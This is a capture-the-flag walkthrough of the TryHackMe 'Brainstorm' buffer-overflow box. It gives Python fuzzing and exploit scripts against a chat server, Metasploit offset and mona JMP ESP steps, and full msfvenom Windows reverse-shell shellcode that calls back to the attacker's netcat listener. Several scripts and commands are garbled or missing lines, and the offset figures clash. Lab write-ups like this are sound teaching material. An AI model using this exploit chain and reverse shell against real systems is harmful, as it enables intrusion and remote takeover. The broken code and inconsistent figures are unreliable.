Brainstorm is a medium rated buffer overflow box on Try Hack Me.

Task 1 Hints
  • Have you started the machine?
  • Have you enumerated ALL TCP ports?
Task 2 Hints
  • One of the services you uncovered can be logged into anonymously, have you found it?
Task 3 Hints
  • Follow the hints given in this task, if you are still unsure, The Cyber Mentor does a good hands on walkthrough of a similar box.


Full Walkthrough

Task 1

Question 1

Just start the machine!

Question 2

Brainstorm Task 1 Question 2

There are several ways to answer this question, but one of the easiest is to use threader3000, as it will enumerate all TCP ports. This can be ran by running:


and then entering the IP address of the vulnerable host when prompted.

Brainstorm threader3000

This will provide the answer to this question, which should be 3 ports, but for some reason the answer is 6. I’ve reviewed other walkthroughs to confirm, and it appears that everyone has the same 3 ports appear.

Task 2

Question 1

Next, choose option 1 to run the suggested nmap scan. After a couple of minutes, you will see the following results:

Brainstorm Task 2 Question 1 nmap

You will see that there is an FTP server, RDP (3389) and a service named abyss on 9999. Let’s look at the ftp server first and see if anonymous FTP access is available.

Brainstorm Anonymous FTP

Let’s run


and you will see a directory called chatserver, let’s navigate to this directory with

cd chatserver

Let’s run


again, and you will see 2 files present: chatserver.exe and essfunc.dll. The answer to this question is the executable file, chatserver.exe.

Task 3

Question 1

There is no answer required for this question, just complete this task.

Question 2

Now we need to move these files to a local Windows box to figure out how to overflow the buffer.

Let’s run

mget *

to download both of these files to our Kali box.

Brainstorm download FTP file

Move these over to a Windows box for analysis with Immunity Debugger installed. In my case, since I was RDPed into both boxes, let’s copy both of these files by selecting them, right clicking, and selecting Copy.

Brainstorm Copy Files Kali Box

Next, on the Windows machine, paste the files (this should work if you allow copy/paste over RDP).

Brainstorm Paste to Windows system

Next, start the chatserver program and open Immunity Debugger. Once started, we need to attach Immunity Debugger to chatserver. This is done by pressing CTRL+F1 and selecting that chatserver application.

Brainstorm Immunity Debugger Attach chatserver

Next, let’s click on the red arrow to run Immunity Debugger.

Brainstorm run Immunity Debugger

You should see the program running in the bottom right hand corner. Next, on our Kali box, let’s connect to our Windows box with netcat.

This is done with:

nc <windows ip> 9999

Brainstorm nc chat server

Let’s see if we can use a Python script to test the username section to see if it is vulnerable to a buffer overflow attack:


import socket


while len(buff) <= 50:

for character in buff:
    print("Fuzzing PASS with %s bytes") % len(character)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('<victim ip address>', <victim port>))
    s.send('USER test\r\n')
    s.send('PASS ' + character + '\r\n')

This script will attempt to send 200 “A"s and increase it by 200 each time until the chatserver crashes. With Immunity Debugger running on your Windows box attached to chatserver, let’s start this script with:

python <script name>

It appears that it crashed around 2,300 bytes:

Brainstorm buffer overflow

Back in Immunity Debugger, you can see that the EIP and ESP have been overwritten with 41414141, which is the hex equivalent of AAAA.

Brainstorm overwrite EIP ESP

Let’s now use Metasploit’s pattern create utility to help us figure out exactly where this is crashing. Let’s run the following command:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2300

Brainstorm pattern_create.rb

Next, let’s modify our script above to look like the following:

import socket


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('', 9999))
s.send('USER test\r\n')

Next, restart the chatserver application, Immunity Debugger, and attach Immunity Debugger to chatserver and run this new script after. This should crash chatserver immediately. Let’s make note of the value listed under EIP in Immunity Debugger.

Brainstorm EIP Value

Next, let’s use Metasploit’s pattern offset tool to find the exact match. This would be done with:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2300 -q 31704330

Brainstorm offset

This will provide the exact offset needed, which is 2012, and the answer to Question 2 (even though an answer is not required).

Question 3

Question 3 gives you a hint to look at the DLL downloaded to see if there’s a function that can be used for execution without any protection. Let’s take a look at this with Immunity Debugger. Restart chatserver and Immunity Debugger, attach and run the app in Immunity Debugger also.

Once done, run

!mona modules

in the bar at the bottom of Immunity Debugger.

Brainstorm Mona Modules

Next, let’s run:

!mona find -s "\xff\xe4" -m essfunc.dll

in the bottom toolbar of Immunity Debugger. This is searching for the hex value of the JMP ESP (\xff\xe4) in the essfunc.dll file. This will allow us to jump to the ESP and execute our payload.

Brainstorm search for JMP ESP

After running this, make note of the first memory address highlighted above (625014df). This will be utilized for our exploit. Since this is a 32 bit application, we will need to use little endian when converting this to hex for our script. This would end up with \xdf\x14\x50\x62 inserted into our script. Next, let’s make the following updates to our script:

import socket

buff= "A" * 2012 +  "\xdf\x14\x50\x62"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('<victim ip>', <victim port>))
s.send('USER test\r\n')

This script will send 2007 A’s, which will get us to our offset for the buffer overflow, it will then send the value for the JMP ESP value. Let’s save this script and restart chatserver, restart Immunity Debugger, attach chatserver, and click on run in Immunity Debugger. Next, click on the last icon before he letters in the Immunity Debugger toolbar.

Brainstorm Immunity Toolbar

Next enter the memory address (625014df) uncovered above.

Brainstorm jump to 62501df

Next, press F2 to set a breakpoint here and ensure that running is showing in the lower right hand corner.

Brainstorm Immunity Debugger Breakpoint

Once this is set, run the script from our Kali box. Next, in Immunity, Debugger, you should see the JMP ESP value uncovered previously listed as the EIP value as shown below.

Brainstorm confirm JMP ESP Value

Question 4

This means that we can now create and insert a payload to exploit this box. Let’s use msfvenom with the following command to create a payload to create a reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=<Kali IP Address> LPORT=<Port of your choice> --platform windows -a x86 EXITFUNC=thread -b "\x00" -f python 

This will create an x86 reverse TCP shell for Windows in Python code. You should see output similar to that shown below:

Brainstorm shellcode

Copy and paste the code above into your python script. Your new script should look like the following:


import socket

buf =  b""
buf += b"\xd9\xee\xba\x0b\x1f\xb7\x9a\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13\x03\x5b\x0c\x55"
buf += b"\x6f\xa7\xda\x1b\x90\x57\x1b\x7c\x18\xb2\x2a\xbc\x7e"
buf += b"\xb7\x1d\x0c\xf4\x95\x91\xe7\x58\x0d\x21\x85\x74\x22"
buf += b"\x82\x20\xa3\x0d\x13\x18\x97\x0c\x97\x63\xc4\xee\xa6"
buf += b"\xab\x19\xef\xef\xd6\xd0\xbd\xb8\x9d\x47\x51\xcc\xe8"
buf += b"\x5b\xda\x9e\xfd\xdb\x3f\x56\xff\xca\xee\xec\xa6\xcc"
buf += b"\x11\x20\xd3\x44\x09\x25\xde\x1f\xa2\x9d\x94\xa1\x62"
buf += b"\xec\x55\x0d\x4b\xc0\xa7\x4f\x8c\xe7\x57\x3a\xe4\x1b"
buf += b"\xe5\x3d\x33\x61\x31\xcb\xa7\xc1\xb2\x6b\x03\xf3\x17"
buf += b"\xed\xc0\xff\xdc\x79\x8e\xe3\xe3\xae\xa5\x18\x6f\x51"
buf += b"\x69\xa9\x2b\x76\xad\xf1\xe8\x17\xf4\x5f\x5e\x27\xe6"
buf += b"\x3f\x3f\x8d\x6d\xad\x54\xbc\x2c\xba\x99\x8d\xce\x3a"
buf += b"\xb6\x86\xbd\x08\x19\x3d\x29\x21\xd2\x9b\xae\x46\xc9"
buf += b"\x5c\x20\xb9\xf2\x9c\x69\x7e\xa6\xcc\x01\x57\xc7\x86"
buf += b"\xd1\x58\x12\x08\x81\xf6\xcd\xe9\x71\xb7\xbd\x81\x9b"
buf += b"\x38\xe1\xb2\xa4\x92\x8a\x59\x5f\x75\xbf\x90\x5f\xa2"
buf += b"\xd7\xa8\x5f\xad\x9c\x24\xb9\xc7\xf2\x60\x12\x70\x6a"
buf += b"\x29\xe8\xe1\x73\xe7\x95\x22\xff\x04\x6a\xec\x08\x60"
buf += b"\x78\x99\xf8\x3f\x22\x0c\x06\xea\x4a\xd2\x95\x71\x8a"
buf += b"\x9d\x85\x2d\xdd\xca\x78\x24\x8b\xe6\x23\x9e\xa9\xfa"
buf += b"\xb2\xd9\x69\x21\x07\xe7\x70\xa4\x33\xc3\x62\x70\xbb"
buf += b"\x4f\xd6\x2c\xea\x19\x80\x8a\x44\xe8\x7a\x45\x3a\xa2"
buf += b"\xea\x10\x70\x75\x6c\x1d\x5d\x03\x90\xac\x08\x52\xaf"
buf += b"\x01\xdd\x52\xc8\x7f\x7d\x9c\x03\xc4\x9d\x7f\x81\x31"
buf += b"\x36\x26\x40\xf8\x5b\xd9\xbf\x3f\x62\x5a\x35\xc0\x91"
buf += b"\x42\x3c\xc5\xde\xc4\xad\xb7\x4f\xa1\xd1\x64\x6f\xe0"

buff= "A" * 2012 +  "\xdf\x14\x50\x62" + "\x90" * 32 + buf

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('<victim ip>', <victim port>))
s.send('USER test\r\n')

Note that we added + “\x90” * 32 + buf to the end of the script, the “\x90” * 32 will enter 32 NOP values, which stand for no operation. This is typically called a “NOP” sled. This is best practice as it will increase the chances of your shellcode executing successfully. We also updated the IP address to that of the actual vulnerable box instead of our own.

Next, let’s start a netcat listener with

nc -nvlp 443

on our Kali box.

Brainstorm netcat

Next, run the script and we should catch a shell on the netcat listener.

Brainstorm shell on victim

Question 5

Next, let’s navigate to C:\users with:

cd c:\users

and type


There is 1 user directory located here. Let’s navigate to drake’s desktop with

cd drake

cd Desktop

and run


one more time, the root.txt file is here.

Brainstorm enumerate user directory

Next, run:

type root.txt

to get the root hash for this box!

Brainstorm root